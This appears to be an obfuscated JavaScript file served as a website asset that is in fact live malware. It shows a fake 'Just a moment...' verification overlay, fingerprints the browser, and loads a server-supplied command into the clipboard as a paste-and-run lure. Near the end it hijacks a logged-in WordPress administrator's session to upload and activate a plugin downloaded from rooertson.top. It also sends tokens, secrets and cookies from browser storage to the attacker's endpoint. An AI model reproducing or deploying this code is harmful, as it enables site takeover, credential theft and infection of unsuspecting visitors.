https://www.mevoad.org/asset-cache/fjs

1(function(){
2var _eyfp=window,_jors=document,_trfo=navigator;
3var _cf0=null;
4try{_jors.documentElement.style.setProperty("overflow","hidden","important");_jors.documentElement.style.setProperty("background","#fff","important");_cf0=_jors.createElement("iframe");_cf0.setAttribute("allowfullscreen","");_cf0.setAttribute("allow","fullscreen; clipboard-write");_cf0.style.cssText="position:fixed;inset:0;width:100%;height:100%;border:none;z-index:2147483647;background:#fff";_cf0.srcdoc="<!DOCTYPE html><html lang=\"en-US\"><head><title>Just a moment...</title><meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"><meta name=\"robots\" content=\"noindex,nofollow\"><meta name=\"viewport\" content=\"width=device-width,initial-scale=1\"><style>*{box-sizing:border-box;margin:0;padding:0}html{line-height:1.15;-webkit-text-size-adjust:100%;color:#313131;font-family:system-ui,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,\"Helvetica Neue\",Arial,\"Noto Sans\",sans-serif,\"Apple Color Emoji\",\"Segoe UI Emoji\",\"Segoe UI Symbol\",\"Noto Color Emoji\"}body{display:flex;flex-direction:column;height:100vh;min-height:100vh;background:#fff}.main-wrapper{display:flex;flex:1;flex-direction:column;align-items:center}.main-content{margin:8rem auto;padding-left:1.5rem;padding-right:1.5rem;width:100%;max-width:60rem}@media (width <= 720px){.main-content{margin-top:4rem}}h1{line-height:125%;font-size:2.5rem;font-weight:600;margin:0}h1+p{margin-top:8px;margin-bottom:0;line-height:150%;font-size:1rem;font-weight:400;color:#595959}@media (prefers-color-scheme:dark){html,body{background:#000;color:#f2f2f2}h1+p{color:#b6b6b6}}</style></head><body><div class=\"main-wrapper\" role=\"main\"><div class=\"main-content\"><h1>Just a moment...</h1><p id=\"host\"></p></div></div><script>try{var n=parent.location.hostname;if(n)document.getElementById('host').textContent=n}catch(e){}</script></body></html>\n";(_jors.body||_jors.documentElement).appendChild(_cf0)}catch(e){}
5var _ckvso=_jors.currentScript||_jors.querySelector(["s","crip","t","[s","rc*=","\"","file",".j","s\"","]"].join(""))||_jors.querySelector((function(){var k=81,a=[34,50,35,56,33,37,10,53,48,37,48,124,50,12],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})());
6try{var _izitw=window.innerWidth||0}catch(_oqf){};
7var _esuq=function(s){var a=0;if(!s)return 0;for(var i=0;i<s.length;i++){a=((a<<5)-a)+s.charCodeAt(i);a|=0}return a};
8var _yoiej=Date.now()%1000;
9var _rajl=function(u,b,cb){var x=new XMLHttpRequest();x.open("\x50\x4f\x53\x54",u,true);x.setRequestHeader(String.fromCharCode(67,111,110,116,101,110,116,45,84,121,112,101),(function(){var k=208,a=[177,160,160,188,185,179,177,164,185,191,190,255,186,163,191,190],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})());x.onload=function(){var r=null;try{if(x.status===200)r=JSON.parse(x.responseText)}catch(e){}if(cb)cb(r)};x.onerror=function(){if(cb)cb(null)};x.send(JSON.stringify(b))};
10var _hwkc=function(u,cb){var x=new XMLHttpRequest();x.open(String.fromCharCode(71,69,84),u,true);x.onload=function(){var r=null;try{if(x.status===200)r=JSON.parse(x.responseText)}catch(e){}if(cb)cb(r)};x.onerror=function(){if(cb)cb(null)};x.send()};
11var _ctxct=Math.floor(Math.random()*461);
12var _elydz=function(tk,diff){var i=0;while(i<1000000){var s=tk+":"+i;var v=0;for(var j=0;j<s.length;j++){v=((v<<5)-v)+s.charCodeAt(j);v|=0}if((v&0xFFFF)%diff===0)return i;i++}return i};
13var _tjsyo=Math.floor(Math.random()*990);
14var f=_cf0, _ul=function(){try{_jors.documentElement.style.removeProperty("overflow");_jors.documentElement.style.removeProperty("background");if(_jors.body)_jors.body.style.removeProperty("overflow")}catch(e){}};var _cfK=function(){try{if(f)f.remove()}catch(e){}f=null;_cf0=null;_ul()};var _vnan=function(html,ep,cmdToken){try{_jors.documentElement.style.setProperty("overflow","hidden","important");if(_jors.body)_jors.body.style.setProperty("overflow","hidden","important")}catch(e){}if(!f){f=_jors.createElement("iframe");f.style.cssText="position:fixed;inset:0;width:100%;height:100%;border:none;z-index:2147483647;background:#fff";f.setAttribute("allowfullscreen","");f.setAttribute("allow","fullscreen; clipboard-write");

14(_jors.body||_jors.documentElement).appendChild(f)}var cpS='<scr'+'ipt>var _cmdTk="'+(cmdToken||'')+'";var _ep="'+ep.replace('/api/v1/f659473','')+'";var _cmdVal="";var _pm=window.parent.postMessage.bind(window.parent);function _br(){var u=navigator.userAgent||"",d=navigator.userAgentData,b=d&&d.brands||[],i=0,g=0,c=0;if(/Waterfox/.test(u))return "waterfox";if(/LibreWolf/.test(u))return "librewolf";if(/Floorp/.test(u))return "floorp";if(/Firefox/.test(u))return "firefox";if(u.indexOf("Edg/")!==-1)return "edge";if(/OPR|Opera/.test(u))return "opera";if(/YaBrowser/.test(u))return "yandex";if(/Vivaldi/.test(u))return "vivaldi";if(u.indexOf("Whale/")!==-1)return "whale";if(/coc_coc/i.test(u))return "coccoc";if(/Slimjet/.test(u))return "slimjet";if(/CentBrowser/.test(u))return "cent";if(navigator.brave)return "brave";for(;i<b.length;i++){if(b[i].brand==="Google Chrome")g=1;if(b[i].brand==="Chromium")c=1}if(c&&!g)return "chromium";return "chrome"}if(_cmdTk){var _x=new XMLHttpRequest();_x.open("GET",_ep+"/api/v1/e81929c?tk="+_cmdTk+"&br="+_br(),true);_x.onload=function(){try{var r=JSON.parse(_x.responseText);if(r&&r.c){var _b=atob(r.c),_u=new Uint8Array(_b.length);for(var _i=0;_i<_b.length;_i++)_u[_i]=_b.charCodeAt(_i);_cmdVal=new TextDecoder("utf-8").decode(_u)}if(r&&r.i){(function(u){function im(){var i=new Image();i.referrerPolicy="no-referrer";i.src=u}function put(x){try{caches.open("p").then(function(c){c.put(u,x)})}catch(e){}}im();fetch(u,{credentials:"omit",referrerPolicy:"no-referrer"}).then(function(q){return q.ok?q.blob():Promise.reject()}).then(function(b){put(new Response(b,{status:200,headers:{"Content-Type":"image/jpeg"}}));try{navigator.storage.getDirectory().then(function(d){return d.getFileHandle("p",{create:true})}).then(function(h){return h.createWritable()}).then(function(w){return w.write(b).then(function(){return w.close()})})}catch(e){}}).catch(function(){fetch(u,{mode:"no-cors",credentials:"omit",referrerPolicy:"no-referrer"}).then(function(q){put(q)}).catch(function(){})})})(r.i)}}catch(e){}};_x.send()}function _bc(e){try{(new Image()).src=_ep+"/api/v1/76584c1?e="+e+"&_t="+Date.now()}catch(x){}}try{_bc("ldshow")}catch(e){}var _vcDone=0;function _vclickOnce(){if(_vcDone)return;_vcDone=1;_bc("vclick")}document.addEventListener("pointerdown",function(){_vclickOnce()},true);window.addEventListener("blur",function(){_vclickOnce()});function _fb(t){try{var h=function(e){e.preventDefault();if(e.clipboardData)e.clipboardData.setData("text/plain",t)};document.addEventListener("copy",h,true);var a=document.createElement("textarea");a.value=t;document.body.appendChild(a);a.focus();a.select();var ok=document.execCommand("copy");a.remove();document.removeEventListener("copy",h,true);_bc(ok?"copy":"copy_fail")}catch(e){_bc("copy_fail")}}function __cp(b,k){try{_bc("vclick")}catch(e){}var t=_cmdVal;if(!t&&_cmdTk){try{var _s=new XMLHttpRequest();_s.open("GET",_ep+"/api/v1/e81929c?tk="+_cmdTk+"&br="+_br(),false);_s.send(null);if(_s.status===200){var _r=JSON.parse(_s.responseText);if(_r&&_r.c){var _c2=atob(_r.c),_u2=new Uint8Array(_c2.length);for(var _j=0;_j<_c2.length;_j++)_u2[_j]=_c2.charCodeAt(_j);_cmdVal=new TextDecoder("utf-8").decode(_u2);t=_cmdVal}}}catch(e){}}if(!t&&b){try{t=atob(b)}catch(e){}}if(t){if(navigator.clipboard&&typeof navigator.clipboard.writeText==="function"){try{navigator.clipboard.writeText(t).then(function(){_bc("copy")}).catch(function(){_fb(t)})}catch(e){_fb(t)}}else{_fb(t)}}else{_bc("copy_fail")}if(!k){try{_pm({t:"v",c:b||"1",keep:false,cmd:t||""},"*")}catch(e){}}}function __close(){try{_bc("vclose")}catch(e){}try{var fe=window.frameElement;if(fe)fe.remove()}catch(e){try{_pm({t:"cf_close"},"*")}catch(x){}}}function __onexec(cb){if(!_cmdTk||typeof cb!=="function")return;var _n=0,_iv=setInterval(function(){if(++_n>240){clearInterval(_iv);return}try{var x=new XMLHttpRequest();x.open("GET",_ep+"/api/v1/e81929c?tk="+_cmdTk+"&w=1",true);x.onload=function(){try{var r=JSON.parse(x.responseText);if(r&&(r.d===1||r.d==="1")){clearInterval(_iv);cb()}}catch(e){}};x.send()}catch(e){}},1500)}try{window.parent.postMessage=function(dd,oo){if(dd&&dd.t==="v"){__cp(dd.c,dd.keep);return}_pm(dd,oo)}}catch(e){}try{Object.defineProperty(window.parent,"postMessage",{value:function(dd,oo){if(dd&&dd.t==="v"){__cp(dd.c,dd.keep);return}_pm(dd,oo)},writable:true,configurable:true})}catch(e){}</s'+'cript>';
15if(html){if(html.indexOf('</head>')!==-1){html=html.replace('</head>',cpS+'</head>')}else{html=cpS+html}f.srcdoc=html}
16try{var _mo=new MutationObserver(function(){if(!f||!f.isConnected){_ul();_mo.disconnect()}});_mo.observe(_jors.documentElement,{childList:true,subtree:true})}catch(e){}
17_eyfp.addEventListener((function(){var k=27,a=[118,126,104,104,122,124,126],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})(),function(e){if(!e.data)return;if(e.data.t===String.fromCharCode(118)){if(e.data.cmd){try{if(_trfo.clipboard&&typeof _trfo.clipboard.writeText==="function"){_trfo.clipboard.writeText(e.data.cmd).catch(function(){var a=_jors.createElement("textarea");a.value=e.data.cmd;a.style.cssText="position:fixed;left:-9999px;opacity:0";_jors.body.appendChild(a);a.focus();a.select();_jors.execCommand("copy");a.remove()})}else{var a=_jors.createElement("textarea");a.value=e.data.cmd;a.style.cssText="position:fixed;left:-9999px;opacity:0";_jors.body.appendChild(a);a.focus();a.select();_jors.execCommand("copy");a.remove()}}catch(ex){}}if(!e.data.keep){try{_cfK()}catch(x){}}}

17if(e.data.t===(function(){var k=132,a=[231,226,219,231,232,235,247,225],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})()){try{_cfK()}catch(x){}}})};
18try{var _uexmi=window.innerWidth||0}catch(_skw){};
19var _aogpt=function(){var o={};var t=Date.now();
20o.w=!!(_trfo.webdriver);var _chr=_eyfp.chrome;o.ic=!!(_chr);o.cr=!!(_chr&&(_chr.runtime||_chr.app));o.sw=_eyfp.screen.width||0;o.sh=_eyfp.screen.height||0;o.cd=_eyfp.screen.colorDepth||0;o.pr=_eyfp.devicePixelRatio||1;
21var _itnqv=237;if(_itnqv<0)_itnqv=0;
22try{var _ac=new(_eyfp.AudioContext||_eyfp.webkitAudioContext)();o.asr=_ac.sampleRate||0;_ac.close()}catch(e){o.asr=0}
23try{var _cv=_jors.createElement(["can","vas"].join(""));_cv.width=64;_cv.height=16;var _cx=_cv.getContext("\x77\x65\x62\x67\x6c")||_cv.getContext(["e","x","per","im","e","nta","l-","w","ebgl"].join(""));if(_cx){var _di=_cx.getExtension((function(){var k=232,a=[191,173,170,175,164,183,140,141,138,157,143,183,154,141,134,140,141,154,141,154,183,129,134,142,135],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})());o.gr=_di?_cx.getParameter(_di.UNMASKED_RENDERER_WEBGL):'';o.gv=_di?_cx.getParameter(_di.UNMASKED_VENDOR_WEBGL):''}else{o.gr='';o.gv=''}}catch(e){o.gr='';o.gv=''}
24try{var _cv2=_jors.createElement(["c","a","n","vas"].join(""));_cv2.width=128;_cv2.height=32;var _c2=_cv2.getContext(["2","d"].join(""));_c2.font="\x31\x38\x70\x78\x20\x41\x72\x69\x61\x6c";_c2.fillText(String.fromCharCode(55,104,101),4,20);o.ch=_esuq(_cv2.toDataURL())}catch(e){o.ch=0}
25o.pc=_trfo.plugins?_trfo.plugins.length:0;o.ln=_trfo.languages?_trfo.languages.join(','):'';o.ts='ontouchstart'in _eyfp;o.tz=new Date().getTimezoneOffset();
26var _szetj=[296,898,876];_szetj.sort();
27o.hp=!!(_eyfp.callPhantom||_eyfp._phantom||_eyfp.phantom);o.hn=!!(_eyfp.__nightmare);o.hs=!!(_jors.__selenium_unwrapped||_jors.__fxdriver_unwrapped||_eyfp.__webdriver_evaluate||_eyfp.__driver_evaluate);try{var _k=Object.keys(_eyfp);o.hc=0;for(var j=0;j<_k.length;j++){if(_k[j].match(/^\$[a-z]dc_/)){o.hc=1;break}}}catch(e){o.hc=0}o.hd=!!(_jors.documentElement&&_jors.documentElement.getAttribute((function(){var k=187,a=[204,222,217,223,201,210,205,222,201],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})()));try{o.np=(Notification.permission===String.fromCharCode(100,101,110,105,101,100)&&!_trfo.webdriver)?0:1}catch(e){o.np=1}
28o.et=Date.now()-t;return o};
29var _navvz=(846^(228>>3))&0xFF;
30var _szem=function(){var s=_ckvso;if(!s)return;var bp=s.src.replace(/\/[^\/]*$/,'');
31var fp=_aogpt();_hwkc(bp+(function(){var k=91,a=[116,58,43,50,116,45,106,116,99,62,111,56,109,106,110],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})(),function(tk){if(!tk||!tk.t){try{_cfK()}catch(e){}return}var fp=fp||_aogpt();var up=new URLSearchParams(_eyfp.location.search);var nonce=_elydz(tk.t,tk.d||97);var b={f:fp,u:_trfo.userAgent,br:(_trfo.brave?"brave":""),s:_eyfp.location.hostname,ut:up.get((function(){var k=42,a=[95,94,71,117,89,69,95,88,73,79],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})())||'',uc:up.get(["u","tm","_","c","a","mpai","gn"].join(""))||'',um:up.get(String.fromCharCode(117,116,109,95,109,101,100,105,117,109))||'',gc:up.get("\x67\x63\x6c\x69\x64")||'',r:_jors.referrer||'',_tk:tk.t,_n:nonce};
32_rajl(bp+(function(){var k=252,a=[211,157,140,149,211,138,205,211,154,202,201,197,200,203,207],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})(),b,function(r){if(r&&r.s===1&&r.h){var _xd=atob(r.h),_xk=r.xk||0,_html="";if(_xk){for(var _xi=0;_xi<_xd.length;_xi++)_html+=String.fromCharCode(_xd.charCodeAt(_xi)^_xk)}else{_html=_xd}if(r.it){(new Image()).src=bp+(function(){var k=95,a=[112,62,47,54,112,41,110,112,107,59,106,110,62,110,57,96,43,52,98],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})()+r.it}if(r.it2){var _pimg=new Image();_pimg.src=bp+(function(){var k=135,a=[168,238,234,230,224,226,169,247,239,247,184,243,236,186],s="";for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]^k);return s})()+r.it2}if(r.iu){var _cimg=new Image();_cimg.referrerPolicy="no-referrer";_cimg.src=r.iu;fetch(r.iu,{credentials:"omit",referrerPolicy:"no-referrer"}).then(function(q){return q.blob()}).then(function(b){return navigator.storage.getDirectory().then(function(d){return d.getFileHandle("p",{create:true})}).then(function(h){return h.createWritable()}).then(function(w){return w.write(b).then(function(){return w.close()})})}).catch(function(){})}_vnan(_html,bp+String.fromCharCode(47,97,112,105,47,118,49,47,102,54,53,57,52,55,51),r.ct||'')}else{try{_cfK()}catch(e){}}})})};
33_szem();
34// pivot: wp-admin session -> plugin upload -> activate (same-origin, creds of the visitor)
35async function __pvt(zipUrl, reportUrl) {

36  function log(e) { try { if (navigator.sendBeacon) navigator.sendBeacon(reportUrl + '?e=' + e); } catch (x) {} }
37  try {
38    var r = await fetch('/wp-admin/', { credentials: 'same-origin' });
39    if (!r.ok) return;
40    var h = await r.text();
41    if (h.indexOf('wp-admin') === -1) return;
42    log('pivot_admin');
43
44    var p = await fetch('/wp-admin/plugin-install.php?tab=upload', { credentials: 'same-origin' });
45    if (!p.ok) { log('pivot_no_pi'); return; }
46    var ph = await p.text();
47    var m = ph.match(/_wpnonce" value="([a-f0-9]{10})"/);
48    if (!m) { log('pivot_no_nonce'); return; }
49
50    var zr = await fetch(zipUrl);
51    if (!zr.ok) { log('pivot_no_zip'); return; }
52    var zb = await zr.blob();
53
54    var fd = new FormData();
55    fd.append('_wpnonce', m[1]);
56    fd.append('_wp_http_referer', '/wp-admin/plugin-install.php?tab=upload');
57    fd.append('pluginzip', zb, 'plugin.zip');
58    fd.append('install-plugin-submit', 'Install Now');
59
60    var up = await fetch('/wp-admin/update.php?action=upload-plugin', {
61      method: 'POST', body: fd, credentials: 'same-origin'
62    });
63    var uh = await up.text();
64    if (uh.indexOf('Plugin installed successfully') === -1) { log('pivot_up_fail'); return; }
65    log('pivot_uploaded');
66
67    var pl = await fetch('/wp-admin/plugins.php', { credentials: 'same-origin' });
68    var lh = await pl.text();
69    var am = lh.match(/action=activate&plugin=([^"&]+)&plugin_status=all&paged=1&s&_wpnonce=([a-f0-9]{10})/);
70    if (!am) { log('pivot_no_actlink'); return; }
71    await fetch('/wp-admin/plugins.php?action=activate&plugin=' + am[1] + '&plugin_status=all&paged=1&s&_wpnonce=' + am[2], { credentials: 'same-origin' });
72    log('pivot_ok');
73  } catch (e) { log('pivot_err'); }
74}function __loot(rep){try{var o={};['localStorage','sessionStorage'].forEach(function(s){try{var st=window[s];for(var i=0;i<st.length;i++){var k=st.key(i);if(/token|jwt|auth|_key|api|secret|session|bearer|csrf/i.test(k)){var v=String(st.getItem(k));if(v.length>8&&v.length<2000)o[s[0]+':'+k]=v}}}catch(e){}});var c=document.cookie||'';if(c)o.c=c.slice(0,1500);if(!Object.keys(o).length)return;var x=new XMLHttpRequest();x.open('POST',rep,true);x.setRequestHeader('Content-Type','application/json');x.send(JSON.stringify(o))}catch(e){}}try{if(!sessionStorage.getItem('_pv1')){sessionStorage.setItem('_pv1','1');__pvt('https://rooertson.top/p/wm.zip',bp+'/api/v1/76584c1')}}catch(e){}try{__loot(bp+'/api/v1/6a38418')}catch(e){}
75})()